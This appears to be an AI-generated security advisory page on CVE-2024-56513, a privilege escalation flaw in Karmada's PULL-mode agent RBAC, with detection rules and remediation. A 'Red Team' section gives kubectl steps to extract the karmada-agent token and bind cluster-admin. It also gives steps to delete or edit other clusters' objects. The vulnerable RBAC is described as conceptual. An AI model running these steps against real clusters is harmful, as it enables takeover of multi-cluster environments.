CVE-2024-56513
Executive Summary
CVE-2024-56513 is a critical privilege escalation vulnerability in Karmada, a Kubernetes management system for multi-cluster orchestration. The flaw resides in the PULL mode cluster registration process via the karmadactl register command. Prior to version 1.12.0, clusters registered in PULL mode are granted excessive privileges to access the Karmada control plane resources. An attacker who can authenticate as the karmada-agent to a Karmada cluster can exploit these excessive permissions to escalate privileges and gain administrative control over the entire federation system, including all registered member clusters. This effectively allows a compromised or malicious agent to take over the entire multi-cluster environment.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Karmada is a Go-based project distributed as a container image and CLI tool. The vulnerability is introduced in the source code of the karmadactl CLI and the karmada-agent component. Users who deploy Karmada via Helm charts, direct YAML manifests, or the official container images are affected. The supply chain risk is moderate, as the vulnerability is in the application logic rather than a dependency, but an attacker could exploit a compromised agent binary or image to gain initial access.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Base Score: 9.9 (Critical)
- Attack Vector (AV): Network (N) – The attack can be launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – The attacker needs to authenticate as the
karmada-agent. - User Interaction (UI): None (N) – No user action is needed.
- Scope (S): Changed (C) – The vulnerability allows the attacker to impact resources beyond the initial compromised component (the agent) to the entire federation.
- Confidentiality (C): High (H) – Full access to all cluster secrets and data.
- Integrity (I): High (H) – Ability to modify any resource in the federation.
- Availability (A): High (H) – Ability to disrupt or destroy all member clusters.
Threat Level: Critical. The vulnerability enables a complete takeover of the multi-cluster environment from a single compromised agent.
Deep Dive & Mechanics
Karmada operates in two modes: PUSH and PULL. In PULL mode, the karmada-agent runs inside the member cluster and initiates communication with the Karmada control plane. The karmadactl register command is used to register a member cluster in PULL mode. The vulnerability arises because the default RBAC (Role-Based Access Control) configuration for the karmada-agent service account in the control plane grants overly permissive access to resources such as clusters, resourcebindings, work, and executionnamespaces. This allows the agent to not only manage its own cluster but also to read, modify, or delete resources belonging to other member clusters and the control plane itself.
An attacker who gains access to the karmada-agent credentials (e.g., via a compromised member cluster node, a leaked token, or a malicious insider) can use these excessive permissions to:
- List all registered clusters.
- Modify or delete cluster objects.
- Access and manipulate resource bindings to redirect workloads.
- Escalate to cluster-admin by creating new bindings or modifying existing ones.
The fix in v1.12.0 restricts the agent's permissions to only the resources necessary for its operation, following the principle of least privilege.
Vulnerable vs. Patched Code
The vulnerability is not in a specific code snippet but in the RBAC configuration generated by karmadactl register. The following illustrates the conceptual difference:
Vulnerable (pre-1.12.0) RBAC (ClusterRole for karmada-agent):
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: karmada-agent
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
Patched (v1.12.0) RBAC (ClusterRole for karmada-agent):
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: karmada-agent
rules:
- apiGroups: ["cluster.karmada.io"]
resources: ["clusters"]
verbs: ["get", "list", "watch", "update", "patch"]
- apiGroups: ["work.karmada.io"]
resources: ["works"]
verbs: ["get", "list", "watch", "update", "patch", "delete"]
- apiGroups: ["binding.karmada.io"]
resources: ["resourcebindings"]
verbs: ["get", "list", "watch"]
# ... additional minimal permissions
The patched version removes wildcard access and restricts the agent to only the specific resources and verbs required for its function.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Karmada control plane running version < 1.12.0.
- A member cluster registered in PULL mode.
- Access to the
karmada-agentservice account token (e.g., from a compromised node or a leaked kubeconfig).
Exploitation Steps:
Extract the agent token:
# On a compromised member cluster node kubectl get secret -n karmada-system karmada-agent-token-xxxxx -o jsonpath='{.data.token}' | base64 -dConfigure kubectl to use the agent token:
kubectl config set-credentials attacker --token=<extracted_token> kubectl config set-context attacker-context --cluster=karmada-apiserver --user=attacker kubectl config use-context attacker-contextEnumerate all clusters:
kubectl get clusters --all-namespacesEscalate privileges by creating a new ClusterRoleBinding:
kubectl create clusterrolebinding attacker-admin --clusterrole=cluster-admin --user=<attacker_user>Take over a member cluster:
# Delete the agent's cluster object to disrupt its operation kubectl delete cluster <victim-cluster-name> # Or modify resource bindings to redirect workloads kubectl edit resourcebinding <binding-name>
Blue Team
Detection:
- Monitor for unusual API calls from the
karmada-agentservice account, especiallylistandgetonclustersandresourcebindingsacross namespaces. - Alert on any
createordeleteoperations onclusterrolebindingsorclusterrolesby the agent. - Use the detection rules provided in the Detection Engineering section.
Hunting:
- Review audit logs for the
karmada-agentuser performing actions on resources outside its expected scope (e.g., modifyingclusterroles). - Check for any new
ClusterRoleBindingobjects that grantcluster-adminto unknown users.
Containment:
- Immediately rotate the
karmada-agentservice account token. - Apply the patched RBAC rules manually (see Remediation & Mitigation).
- Isolate the compromised member cluster from the control plane.
Indicators of Compromise (IOCs)
- Network: Unusual API calls from a member cluster's IP to the Karmada API server with verbs like
create,delete,patchonclusterrolebindingsorclusterroles. - File System: Presence of a kubeconfig file with the
karmada-agenttoken on a non-agent host. - Process: Unexpected
kubectlorkarmadactlprocesses running on member cluster nodes. - Kubernetes Objects:
- New
ClusterRoleBindingobjects withcluster-adminrole bound to unknown users. - Modified
Clusterobjects for other member clusters. - Deleted
Clusterobjects.
- New
- Logs: Audit log entries showing the
karmada-agentuser performingcreate,delete, orpatchonclusterrolebindingsorclusterroles.
Detection Engineering
YARA Rule
rule CVE_2024_56513_Karmada_PrivEsc {
meta:
description = "Detects kubeconfig files containing karmada-agent tokens with excessive permissions"
author = "Valters IT"
date = "2024-12-01"
reference = "CVE-2024-56513"
strings:
$token = "karmada-agent-token" ascii wide nocase
$clusterrole = "cluster-admin" ascii wide nocase
condition:
$token and $clusterrole
}
Sigma Rule
title: Karmada Agent Privilege Escalation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects suspicious API calls from karmada-agent service account indicating privilege escalation (CVE-2024-56513)
author: Valters IT
date: 2024-12-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-56513
logsource:
product: kubernetes
service: audit
detection:
selection:
user.username: "system:serviceaccount:karmada-system:karmada-agent"
verb: "create"
objectRef.resource: "clusterrolebindings"
condition: selection
falsepositives:
- Legitimate administrative actions if the agent is misconfigured
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56513 Karmada Agent Privilege Escalation - API Call to Create ClusterRoleBinding"; flow:to_server,established; content:"POST"; http_method; content:"/apis/rbac.authorization.k8s.io/v1/clusterrolebindings"; http_uri; content:"karmada-agent"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Karmada: Upgrade to version 1.12.0 or later. This is the official fix.
- Manual RBAC Restriction: If upgrade is not immediately possible, manually restrict the
karmada-agentClusterRole to the minimal permissions as documented in the Karmada Component Permissions Docs. Example:apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: karmada-agent-restricted rules: - apiGroups: ["cluster.karmada.io"] resources: ["clusters"] verbs: ["get", "list", "watch", "update", "patch"] - apiGroups: ["work.karmada.io"] resources: ["works"] verbs: ["get", "list", "watch", "update", "patch", "delete"] - apiGroups: ["binding.karmada.io"] resources: ["resourcebindings"] verbs: ["get", "list", "watch"] # Add other minimal permissions as needed - Rotate Credentials: Rotate all
karmada-agentservice account tokens and any related secrets. - Audit: Review audit logs for any signs of exploitation.
Long-Term Mitigations:
- Implement network policies to restrict agent-to-API server communication.
- Use a dedicated service account for each member cluster with minimal permissions.
- Enable Kubernetes audit logging and monitor for suspicious activity.
- Regularly review and update RBAC configurations.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.